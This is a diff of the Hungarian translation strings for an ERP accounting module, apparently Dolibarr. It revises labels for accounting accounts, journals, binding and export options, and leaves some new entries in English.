ExpenseReportLinesDone=Költségjelentések kötött sorai -IntoAccount=Sor kötése a könyvelési számlával -TotalForAccount=A teljes könyvelési számla +IntoAccount=Kötési sor a számviteli számlával +TotalForAccount=Teljes számviteli számla Ventilate=Kötelez @@ -143,142 +146,148 @@ EndProcessing=A folyamat megszakadt. SelectedLines=Kiválasztott sorok Lineofinvoice=Számla sora LineOfExpenseReport=Költségjelentés sora -NoAccountSelected=Nincs kiválasztva könyvelési számla -VentilatedinAccount=Sikeresen hozzárendelve a könyvelési számlához -NotVentilatedinAccount=Nincs a könyvelési számlához kötve -XLineSuccessfullyBinded=%s termék/szolgáltatás sikeresen hozzárendelve egy könyvelési fiókhoz -XLineFailedToBeBinded=%s termék/szolgáltatás nem volt könyvelési fiókhoz kötve +NoAccountSelected=Nincs kiválasztva számviteli számla +VentilatedinAccount=Sikeresen hozzárendelve a számviteli számlához +NotVentilatedinAccount=Nincs számviteli számlához kötve +XLineSuccessfullyBinded=%s termékek/szolgáltatások sikeresen hozzárendelve egy számviteli számlához +XLineFailedToBeBinded=az %s termékek/szolgáltatások nem voltak számviteli számlákhoz kötve -ACCOUNTING_LIMIT_LIST_VENTILATION=A sorok maximális száma a listán és a kötési oldalon (ajánlott: 50) -ACCOUNTING_LIST_SORT_VENTILATION_TODO=Kezdje el az oldal "Binding to do" rendezését a legújabb elemek szerint -ACCOUNTING_LIST_SORT_VENTILATION_DONE=Kezdje el a "Kötés megtörtént" oldal rendezését a legújabb elemek szerint +ACCOUNTING_LIMIT_LIST_VENTILATION=A sorok maximális száma a listán és a kötelező oldalon (ajánlott: 50) +ACCOUNTING_LIST_SORT_VENTILATION_TODO=Kezdje el az oldal "Kötelező tennivaló" rendezését a legújabb elemek szerint +ACCOUNTING_LIST_SORT_VENTILATION_DONE=Kezdje el a "Kötelező tennivaló megtörtént" oldal rendezését a legújabb elemek szerint ACCOUNTING_LENGTH_DESCRIPTION=Termék- és szolgáltatásleírás csonkolása a listában x karakter után (Legjobb = 50) -ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Termék- és szolgáltatásfiókleíró űrlap csonkolása a listákban x karakter után (Legjobb = 50) +ACCOUNTING_LENGTH_DESCRIPTION_ACCOUNT=Termék- és szolgáltatás számla leíró űrlap csonkolása a listákban x karakter után (Legjobb = 50) ACCOUNTING_LENGTH_GACCOUNT=Általános számviteli számlák hossza (Ha itt 6-ra állítja az értéket, a '706' számla '706000'-ként fog megjelenni a képernyőn) -ACCOUNTING_LENGTH_AACCOUNT=A harmadik féltől származó könyvelési fiókok hossza (ha itt 6-ra állítja az értéket, a '401' számla '401000'-ként fog megjelenni a képernyőn) -ACCOUNTING_MANAGE_ZERO=Különböző számú nullák kezelésének engedélyezése a könyvelési fiók végén. Néhány országnak szüksége van (például Svájcban). Ha ki van kapcsolva (alapértelmezett), akkor a következő két paraméter beállításával kérheti az alkalmazást virtuális nullák hozzáadására. +ACCOUNTING_LENGTH_AACCOUNT=A harmadik féltől származó számviteli számlák hossza (ha itt 6-ra állítja az értéket, a '401' számla '401000'-ként fog megjelenni a képernyőn) +ACCOUNTING_MANAGE_ZERO=Különböző számú nullák kezelésének engedélyezése a számviteli számlák végén. Néhány országnak szüksége van (például Svájcban). Ha ki van kapcsolva (alapértelmezett), akkor a következő két paraméter beállításával kérheti az alkalmazást virtuális nullák hozzáadására. BANK_DISABLE_DIRECT_INPUT=Tranzakció közvetlen rögzítésének letiltása a bankszámlán ACCOUNTING_ENABLE_EXPORT_DRAFT_JOURNAL=Piszkozatexport engedélyezése a naplóban -ACCOUNTANCY_COMBO_FOR_AUX=Kombinációs lista engedélyezése a leányfiókhoz (lassú lehet, ha sok harmadik fél van, és megszakad az érték egy részének keresése) -ACCOUNTING_DATE_START_BINDING=Határozzon meg egy dátumot a könyvelésben a kötés és átvitel megkezdéséhez. Ezen időpont alatt a tranzakciók nem kerülnek át a könyvelésbe. +ACCOUNTANCY_COMBO_FOR_AUX=Kombinációs lista engedélyezése az alszámlához (lassú lehet, ha sok harmadik fél van, és megszakad a keresési képesség az érték egy részén) +ACCOUNTING_DATE_START_BINDING=Határozzon meg egy dátumot a könyvelésbe történő bekötés és átutalás megkezdéséhez. Ezen időpont alatt a tranzakciók nem kerülnek át a könyvelésbe. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=A könyvelési átutalásnál mi az alapértelmezetten kiválasztott időszak -ACCOUNTING_SELL_JOURNAL=Eladó napló -ACCOUNTING_PURCHASE_JOURNAL=Vásárlási napló -ACCOUNTING_MISCELLANEOUS_JOURNAL=Vegyes naplók +ACCOUNTING_SELL_JOURNAL=Sales journal - sales and returns +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal - purchase and returns +ACCOUNTING_BANK_JOURNAL=Cash journal - receipts and disbursements ACCOUNTING_EXPENSEREPORT_JOURNAL=Költségjelentési napló -ACCOUNTING_SOCIAL_JOURNAL=Közösségi napló +ACCOUNTING_MISCELLANEOUS_JOURNAL=Általános napló ACCOUNTING_HAS_NEW_JOURNAL=Új naplója van +ACCOUNTING_INVENTORY_JOURNAL=Leltári napló +ACCOUNTING_SOCIAL_JOURNAL=Közösségi napló ACCOUNTING_RESULT_PROFIT=Eredményelszámolási számla (Profit) -ACCOUNTING_RESULT_LOSS=Eredményelszámolási számla (veszteség) +ACCOUNTING_RESULT_LOSS=Eredményelszámolási számla (Veszteség) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Bezárási napló -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Átmeneti banki átutalás számla +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Átmeneti banki átutalásos számla -ACCOUNTING_ACCOUNT_SUSPENSE=Várakozási számla -DONATION_ACCOUNTINGACCOUNT=Számviteli fiók az adományok regisztrálásához -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Számviteli fiók az előfizetések regisztrálásához +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Alapértelmezés szerint számlaszámla az ügyfél befizetésének regisztrálásához -UseAuxiliaryAccountOnCustomerDeposit=Ügyfélszámla tárolása egyéni számlaként a leányfőkönyvben az előlegsorokhoz (ha le van tiltva, az előlegsorokhoz tartozó egyéni számla üres marad) -ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Alapértelmezett számviteli számla szállítói előleg nyilvántartásba vételére -UseAuxiliaryAccountOnSupplierDeposit=Tárolja a szállítói számlát egyéni számlaként a alfőkönyvben az előlegsorokhoz (letiltás esetén az előlegsorok egyéni számla üresen marad) +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit +UseAuxiliaryAccountOnCustomerDeposit=Tárolja az ügyfél számát egyéni számlaként a alkönyvben az előlegsorokhoz (ha le van tiltva, az előlegsorokhoz tartozó egyéni számla üres marad) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Tárolja a szállítói számlát egyéni számlaként a alkönyvben az előlegsorokhoz (letiltás esetén az előlegsorok egyéni számla üresen marad) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Alapértelmezés szerint a vásárolt termékek számviteli fiókja (használjuk, ha nincs megadva a terméklapon) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Alapértelmezés szerint az EGK-ban vásárolt termékek számviteli fiókja (használjuk, ha nincs megadva a terméklapon) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Alapértelmezés szerint a vásárolt és az EGK-ból importált termékek számviteli fiókja (használjuk, ha nincs megadva a terméklapon) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Alapértelmezés szerint könyvelési számla az eladott termékekhez (használjuk, ha nincs megadva a terméklapon) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Alapértelmezés szerint az EGK-ban értékesített termékek számviteli fiókja (használjuk, ha nincs megadva a terméklapon) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Alapértelmezés szerint az eladott és az EGK-ból exportált termékek számviteli fiókja (használjuk, ha nincs megadva a terméklapon) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Alapértelmezés szerint a megvásárolt szolgáltatások számviteli fiókja (ha a szolgáltatási lapon nincs megadva, akkor használatos) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Alapértelmezés szerint az EGK-ban vásárolt szolgáltatások számviteli fiókja (használjuk, ha nincs megadva a szolgáltatási lapon) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Alapértelmezés szerint a megvásárolt és az EGK-ból importált szolgáltatások számviteli fiókja (használjuk, ha nincs megadva a szolgáltatási lapon) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Alapértelmezés szerint könyvelési számla az eladott szolgáltatásokhoz (használjuk, ha nincs megadva a szolgáltatási lapon) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Alapértelmezés szerint az EGK-ban értékesített szolgáltatások számviteli fiókja (használjuk, ha nincs megadva a szolgáltatási lapon) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Alapértelmezés szerint az eladott és az EGK-ból exportált szolgáltatások számviteli fiókja (használjuk, ha nincs megadva a szolgáltatási lapon) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Dokumentum típusa Docdate=Dátum Docref=Referencia -LabelAccount=Fiók címkézése -LabelOperation=Címkeművelet +LabelAccount=Számla címke +LabelOperation=Címke művelet Sens=Irány -AccountingDirectionHelp=Egy ügyfél könyvelési számlája esetén használja a Creditet a kapott kifizetés rögzítéséhez.
      Szállító könyvelési számlája esetén használja a Debit funkciót az Ön által végrehajtott fizetés rögzítéséhez. -LetteringCode=Betűkód -Lettering=Betűzés +AccountingDirectionHelp=Egy ügyfél számviteli számlája esetén használja a Creditet a kapott kifizetés rögzítéséhez.
      Szállító számviteli számlája esetén használja a Debit funkciót az Ön által végrehajtott fizetés rögzítéséhez. +LetteringCode=Felirat kód +Lettering=Felirat Codejournal=Napló JournalLabel=Naplócímke NumPiece=Darabszám -TransactionNumShort=Szám. tranzakció -AccountingCategory=Egyéni csoport +TransactionNumShort=Tranzakció száma +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Főkönyvi számla szerinti csoportosítás -GroupBySubAccountAccounting=Csoport alkönyvi számla szerint -AccountingAccountGroupsDesc=Itt meghatározhatja a számviteli fiókok néhány csoportját. Személyre szabott számviteli jelentések készítésére szolgálnak majd. +GroupBySubAccountAccounting=Alkönyvi számla szerinti csoportosítás +AccountingAccountGroupsDesc=Itt meghatározhatja a számviteli számlák néhány csoportját. Személyre szabott számviteli jelentések készítésére szolgálnak majd. ByAccounts=Számlák szerint ByPredefinedAccountGroups=Előre meghatározott csoportok szerint ByPersonalizedAccountGroups=Személyre szabott csoportok szerint ByYear=Év szerint NotMatch=Nincs beállítva -DeleteMvt=Néhány műveletsor törlése a könyvelésből +DeleteMvt=Néhány műveletsor törlése a számvitelből DelMonth=A törlés hónapja DelYear=A törlés éve -DelJournal=Törlendő napló +DelJournal=A törlés naplója ConfirmDeleteMvt=Ez törli a könyvelés összes műveletsorát az év/hónap és/vagy egy adott napló esetében (legalább egy feltétel szükséges). Újra fel kell használnia a „%s” szolgáltatást, hogy a törölt rekord visszakerüljön a főkönyvbe. -ConfirmDeleteMvtPartial=Ez törli a tranzakciót a könyvelésből (az ugyanahhoz a tranzakcióhoz kapcsolódó összes műveletsor törlődik) -FinanceJournal=Pénzügyi folyóirat +ConfirmDeleteMvtPartial=Ez törli a tranzakciót a számvitelből (az ugyanahhoz a tranzakcióhoz kapcsolódó összes műveletsor törlődik) +FinanceJournal=Pénzügyi napló ExpenseReportsJournal=Költségjelentési napló +InventoryJournal=Leltári napló DescFinanceJournal=Pénzügyi napló, amely tartalmazza a bankszámlánkénti fizetések összes típusát -DescJournalOnlyBindedVisible=Ez egy könyvelési számlához kötött rekord nézet, amely rögzíthető a naplókban és a főkönyvben. +DescJournalOnlyBindedVisible=Ez egy számvitelii számlához kötött rekord nézet, amely rögzíthető a naplókban és a főkönyvben. VATAccountNotDefined=Nincs megadva az áfa-számla -ThirdpartyAccountNotDefined=Harmadik fél fiókja nincs meghatározva -ProductAccountNotDefined=A termék fiókja nincs megadva -FeeAccountNotDefined=Számla a díjhoz nincs meghatározva +ThirdpartyAccountNotDefined=Harmadik fél számlája nincs meghatározva +ProductAccountNotDefined=A termék számlája nincs megadva +FeeAccountNotDefined=A díj számlája nincs meghatározva BankAccountNotDefined=A bank számla nincs megadva -CustomerInvoicePayment=Számlázó ügyfél fizetése -ThirdPartyAccount=Harmadik fél fiókja +CustomerInvoicePayment=Ügyfél számla fizetése +ThirdPartyAccount=Harmadik fél számlája NewAccountingMvt=Új tranzakció NumMvts=Tranzakciók száma ListeMvts=Mozgások listája ErrorDebitCredit=A terhelésnek és a jóváírásnak nem lehet egyszerre értéke -AddCompteFromBK=Számviteli fiókok hozzáadása a csoporthoz -ReportThirdParty=Harmadik féltől származó fiókok listázása -DescThirdPartyReport=Itt megtekintheti a harmadik féltől származó ügyfelek és szállítók listáját, valamint könyvelési fiókjaikat -ListAccounts=A könyvelési számlák listája -UnknownAccountForThirdparty=Ismeretlen harmadik fél fiókja. %s-t fogunk használni -UnknownAccountForThirdpartyBlocking=Ismeretlen harmadik fél fiókja. Blokkolás hiba -ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Alkönyvi fiók nincs megadva, vagy harmadik fél vagy felhasználó ismeretlen. %s-t fogunk használni -ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Harmadik fél ismeretlen és alkönyvtár nincs megadva a fizetésen. Az alkönyvi számla értékét üresen fogjuk hagyni. -ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Alkönyvi fiók nincs megadva, vagy harmadik fél vagy felhasználó ismeretlen. Blokkolás hiba. -UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Ismeretlen harmadik féltől származó fiók és várakozó fiók nincs megadva. Blokkolás hiba +AddCompteFromBK=Számviteli számlák hozzáadása a csoporthoz +ReportThirdParty=Harmadik féltől származó számlák listázása +DescThirdPartyReport=Itt megtekintheti a harmadik féltől származó ügyfelek és szállítók listáját, valamint számviteli számláikat +ListAccounts=A számviteli számlák listája +UnknownAccountForThirdparty=Ismeretlen harmadik fél számlája. %s-t fogunk használni +UnknownAccountForThirdpartyBlocking=Ismeretlen harmadik fél számlája. Blokkolás hiba +ThirdpartyAccountNotDefinedOrThirdPartyUnknown=Alkönyvi számla nincs megadva, vagy harmadik fél vagy felhasználó ismeretlen. %s-t fogunk használni +ThirdpartyAccountNotDefinedOrThirdPartyUnknownSubledgerIgnored=Harmadik fél ismeretlen és alkönyv nincs megadva a fizetésen. Az alkönyvi számla értékét üresen fogjuk hagyni. +ThirdpartyAccountNotDefinedOrThirdPartyUnknownBlocking=Alkönyvi számla nincs megadva, vagy harmadik fél vagy felhasználó ismeretlen. Blokkolás hiba. +UnknownAccountForThirdpartyAndWaitingAccountNotDefinedBlocking=Ismeretlen harmadik féltől származó számla és várakozó számla nincs megadva. Blokkolás hiba PaymentsNotLinkedToProduct=A fizetés semmilyen termékhez/szolgáltatáshoz nem kapcsolódik OpeningBalance=Nyitó egyenleg -ShowOpeningBalance=Nyitóegyenleg megjelenítése -HideOpeningBalance=Nyitóegyenleg elrejtése +ShowOpeningBalance=Nyitó egyenleg megjelenítése +HideOpeningBalance=Nyitó egyenleg elrejtése ShowSubtotalByGroup=Részösszeg megjelenítése szint szerint -Pcgtype=Fiókcsoport -PcgtypeDesc=A számlacsoport előre meghatározott "szűrő" és "csoportosítás" kritériumként használatos egyes számviteli jelentések esetében. Például a „BEVEZETÉS” vagy „KIADÁS” csoportként használatos a termékek számviteli számláihoz a kiadás/bevétel jelentés összeállításához. +Pcgtype=Számla csoport +PcgtypeDesc=A számlacsoport előre meghatározott "szűrő" és "csoportosítás" kritériumként használatos egyes számviteli jelentések esetében. Például a „BEVÉTEL” vagy „KIADÁS” csoportként használatos a termékek számviteli számláihoz a kiadás/bevétel jelentés összeállításához. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Kibékíthető TotalVente=Teljes forgalom adózás előtt TotalMarge=Teljes értékesítési árrés -DescVentilCustomer=Itt megtekintheti a termékkönyvelési fiókhoz kötött (vagy nem) ügyfélszámla sorok listáját -DescVentilMore=A legtöbb esetben, ha előre definiált termékeket vagy szolgáltatásokat használ, és beállítja a számlaszámot a termék-/szolgáltatáskártyán, az alkalmazás képes lesz minden kötést elvégezni a számla sorai és a számlatükör könyvelési számlája között, egyetlen kattintással a „%s” gombbal. Ha a fiók nincs beállítva a termék-/szolgáltatáskártyákon, vagy még mindig vannak olyan sorai, amelyek nincsenek fiókhoz kötve, kézi összerendelést kell végrehajtania a „%s” menüből. -DescVentilDoneCustomer=Itt megtekintheti a vevők számlasorait és termékkönyvelési fiókját -DescVentilTodoCustomer=Számlasorok kötése, amelyek még nem kötöttek egy termékkönyvelési fiókhoz -ChangeAccount=Módosítsa a termék/szolgáltatás könyvelési fiókját a kiválasztott sorokhoz a következő könyvelési fiókkal: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Itt megtekintheti a szállítói számlasorok listáját, amelyek egy termékkönyvelési számlához kötöttek vagy még nem kötöttek (csak a könyvelésbe még át nem vitt rekordok láthatók) -DescVentilDoneSupplier=Itt megtekintheti a szállítói számlák sorainak listáját és a könyvelési fiókjukat +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) +DescVentilDoneSupplier=Itt megtekintheti a szállítói számlák sorainak listáját és a számviteli számlájukat DescVentilTodoExpenseReport=Költségjelentési sorok kötése, amelyek még nincsenek kötve díjszámla számlával DescVentilExpenseReport=Itt megtekintheti a költségelszámolási számlához kötött (vagy nem) költségjelentési sorok listáját -DescVentilExpenseReportMore=Ha a számviteli számlát a költségjelentés-sorokhoz állítja be, az alkalmazás egyetlen kattintással, a gomb megnyomásával képes lesz az összes kötést a költségjelentés sorai és a számlatükör számlaszámla között létrehozni. %s". Ha a fiók nincs beállítva a díjszótárban, vagy ha még mindig vannak olyan sorai, amelyek nem kötöttek egy fiókhoz sem, kézi összerendelést kell végrehajtania a „%s” menüből. +DescVentilExpenseReportMore=Ha a számviteli számlát a költségjelentés-sorokhoz állítja be, az alkalmazás egyetlen kattintással, a gomb megnyomásával képes lesz az összes kötést a költségjelentés sorai és a számlatükör számviteli számla között létrehozni. %s". Ha a számla nincs beállítva a díj szótárban, vagy ha még mindig vannak olyan sorai, amelyek nem kötöttek egy számlához sem, kézi összerendelést kell végrehajtania a „%s” menüből. DescVentilDoneExpenseReport=Itt megtekintheti a költségjelentések sorainak listáját és a díjak elszámolási számláját Closure=Éves zárás @@ -286,59 +295,65 @@ DescClosure=Itt tekintheti meg a még nem érvényesített és zárolt mozgások OverviewOfMovementsNotValidated=Nem érvényesített és zárolt mozgások áttekintése AllMovementsWereRecordedAsValidated=Minden mozgást érvényesítettként és zárolva rögzítettünk NotAllMovementsCouldBeRecordedAsValidated=Nem minden mozgást lehetett érvényesítettként és zároltként rögzíteni -ValidateMovements=A mozgások érvényesítése -DescValidateMovements=Az írás, betűk és törlések bármilyen módosítása vagy törlése tilos. A gyakorlatra minden nevezést érvényesíteni kell, különben a bezárás nem lehetséges +ValidateMovements=Mozgások érvényesítése és zárolása... +DescValidateMovements=Az írások, betűk és törlések bármilyen módosítása vagy törlése tilos. Egy gyakorlatra minden bejegyzést érvényesíteni kell, különben a zárás nem lehetséges ValidateHistory=Automatikus kötés AutomaticBindingDone=Automatikus összerendelés megtörtént (%s) - Az automatikus kötés bizonyos rekordokhoz (%s) nem lehetséges +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Hiba, nem törölheti ezt a fiókot, mert használatban van +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=A mozgás nem megfelelően kiegyensúlyozott. Terhelés = %s és jóváírás = %s Balancing=Egyensúlyozás FicheVentilation=Kötőkártya GeneralLedgerIsWritten=A tranzakciók a főkönyvbe vannak írva GeneralLedgerSomeRecordWasNotRecorded=Néhány tranzakciót nem lehetett naplózni. Ha nincs más hibaüzenet, ez valószínűleg azért van, mert már naplózva voltak. NoNewRecordSaved=Nincs több rekord átvitelre -ListOfProductsWithoutAccountingAccount=A könyvelési fiókhoz nem kötött termékek listája +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Módosítsa a kötést -Accounted=Kiszámolva a főkönyvben +Accounted=Főkönyvben elszámolva NotYetAccounted=Még nem került át a könyvelésbe ShowTutorial=Oktatóanyag megjelenítése NotReconciled=Nincs egyeztetve -WarningRecordWithoutSubledgerAreExcluded=Figyelmeztetés, minden alkönyvi fiók definiálása nélküli művelet kiszűrésre kerül, és ki van zárva ebből a nézetből +WarningRecordWithoutSubledgerAreExcluded=Figyelmeztetés, minden alkönyvi számla definiálása nélküli művelet kiszűrésre kerül, és ki van zárva ebből a nézetből AccountRemovedFromCurrentChartOfAccount=Számviteli számla, amely nem létezik az aktuális számlatükörben ## Admin BindingOptions=Kötési beállítások ApplyMassCategories=Tömegkategóriák alkalmazása -AddAccountFromBookKeepingWithNoCategories=A rendelkezésre álló fiók még nem szerepel a személyre szabott csoportban -CategoryDeleted=A könyvelési fiók kategóriája eltávolítva +AddAccountFromBookKeepingWithNoCategories=A rendelkezésre álló számla még nem szerepel a személyre szabott csoportban +CategoryDeleted=A számviteli számla kategóriája eltávolítva AccountingJournals=Számviteli naplók AccountingJournal=Számviteli napló NewAccountingJournal=Új számviteli napló ShowAccountingJournal=Számviteli napló megjelenítése -NatureOfJournal=A folyóirat természete +NatureOfJournal=A napló jellege AccountingJournalType1=Vegyes műveletek AccountingJournalType2=Értékesítés AccountingJournalType3=Vásárlások AccountingJournalType4=Bank -AccountingJournalType5=Költségjelentés -AccountingJournalType8=Készlet +AccountingJournalType5=Költségjelentések +AccountingJournalType8=Leltár AccountingJournalType9=Új +GenerationOfAccountingEntries=Számviteli tételek generálása ErrorAccountingJournalIsAlreadyUse=Ez a napló már használatban van -AccountingAccountForSalesTaxAreDefinedInto=Megjegyzés: A forgalmi adó könyvelési fiókja a %s - %s menüben van meghatározva +AccountingAccountForSalesTaxAreDefinedInto=Megjegyzés: A forgalmi adó számviteli számlája a %s - %s menüben van meghatározva NumberOfAccountancyEntries=Bejegyzések száma NumberOfAccountancyMovements=Mozgások száma -ACCOUNTING_DISABLE_BINDING_ON_SALES=A kötés és átvitel letiltása az értékesítési könyvelésben (az ügyfél számláit nem veszik figyelembe a könyvelésben) -ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=A bekötés és az átvitel letiltása a vásárlások könyvelésében (a szállítói számlák nem lesznek figyelembe véve a könyvelésben) -ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=A kötés és átvitel letiltása a könyvelésben a költségjelentéseken (a költségjelentéseket nem veszik figyelembe a könyvelésben) +ACCOUNTING_DISABLE_BINDING_ON_SALES=A kötés és az átvitel letiltása az értékesítési könyvelésben (az ügyfél számláit nem veszik figyelembe a könyvelésben) +ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=A kötés és az átvitel letiltása a vásárlások könyvelésében (a szállítói számlák nem lesznek figyelembe véve a könyvelésben) +ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=A kötés és az átvitel letiltása a könyvelésben a költségjelentéseken (a költségjelentéseket nem veszik figyelembe a könyvelésben) +ACCOUNTING_ENABLE_LETTERING=Engedélyezze a feliratozás funkciót a számvitelben +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export -NotifiedExportDate=Az exportált sorok megjelölése exportáltként (a sorok módosítása nem lehetséges) +NotExportLettering=Ne exportálja a betűket a fájl létrehozásakor +NotifiedExportDate=Az exportált sorok megjelölése Exportáltként (egy sor módosításához törölnie kell a teljes tranzakciót, és újra át kell vinnie a könyvelésbe) NotifiedValidationDate=Érvényesítse és zárolja az exportált bejegyzéseket (ugyanaz a hatás, mint az "%s" funkciónál, a sorok módosítása és törlése BIZTOSAN nem lehetséges) +NotifiedExportFull=Export documents ? DateValidationAndLock=Dátumellenőrzés és zárolás ConfirmExportFile=A számviteli exportfájl létrehozásának megerősítése? -ExportDraftJournal=Vázlatos napló exportálása +ExportDraftJournal=Naplótervezet exportálása Modelcsv=Export modell Selectmodelcsv=Válassza ki az exportálási modellt Modelcsv_normal=Klasszikus export @@ -357,7 +372,7 @@ Modelcsv_configurable=Konfigurálható CSV exportálása Modelcsv_FEC=FEC exportálása Modelcsv_FEC2=FEC exportálása (Dátumgenerálás írásával / dokumentum megfordításával) Modelcsv_Sage50_Swiss=Exportálás a Sage 50 Svájc számára -Modelcsv_winfic=Exportálás a Winfichez - eWinfic - WinSis Compta +Modelcsv_winfic=Exportálás a Winfichez - eWinfic - WinSis Compta-hoz Modelcsv_Gestinumv3=Exportálás a Gestinumhoz (v3) Modelcsv_Gestinumv5=Exportálás a Gestinumhoz (v5) Modelcsv_charlemagne=Exportálás az Aplim Charlemagne-hoz @@ -365,34 +380,34 @@ ChartofaccountsId=Számladiagram azonosítója ## Tools - Init accounting account on product / service InitAccountancy=Könyvelés inicializálása -InitAccountancyDesc=Ez az oldal olyan termékek és szolgáltatások könyvelési fiókjának inicializálására használható, amelyek nem rendelkeznek az értékesítéshez és a vásárláshoz meghatározott számviteli fiókkal. -DefaultBindingDesc=Ezen az oldalon lehet beállítani egy alapértelmezett fiókot a fizetések, adományozás, adók és áfa tranzakciós rekordjainak összekapcsolásához, ha még nem volt beállítva konkrét könyvelési számla. +InitAccountancyDesc=Ez az oldal olyan termékek és szolgáltatások számviteli számlájának inicializálására használható, amelyek nem rendelkeznek az értékesítéshez és a vásárláshoz meghatározott számviteli számlával. +DefaultBindingDesc=Ezen az oldalon beállíthat egy alapértelmezett számlát, amellyel összekapcsolhatja a fizetésekkel, adományokkal, adókkal és áfával kapcsolatos tranzakciós rekordokat, ha még nincs beállítva konkrét számviteli számla. DefaultClosureDesc=Ez az oldal használható a könyvelés lezárásához használt paraméterek beállítására. Options=Opciók OptionModeProductSell=Mód értékesítés OptionModeProductSellIntra=EEC-ben exportált mód OptionModeProductSellExport=Más országokba exportált értékesítési módok -OptionModeProductBuy=Módos vásárlások -OptionModeProductBuyIntra=EEC-ben importált vásárlások módban -OptionModeProductBuyExport=Más országokból importált mód vásárolt 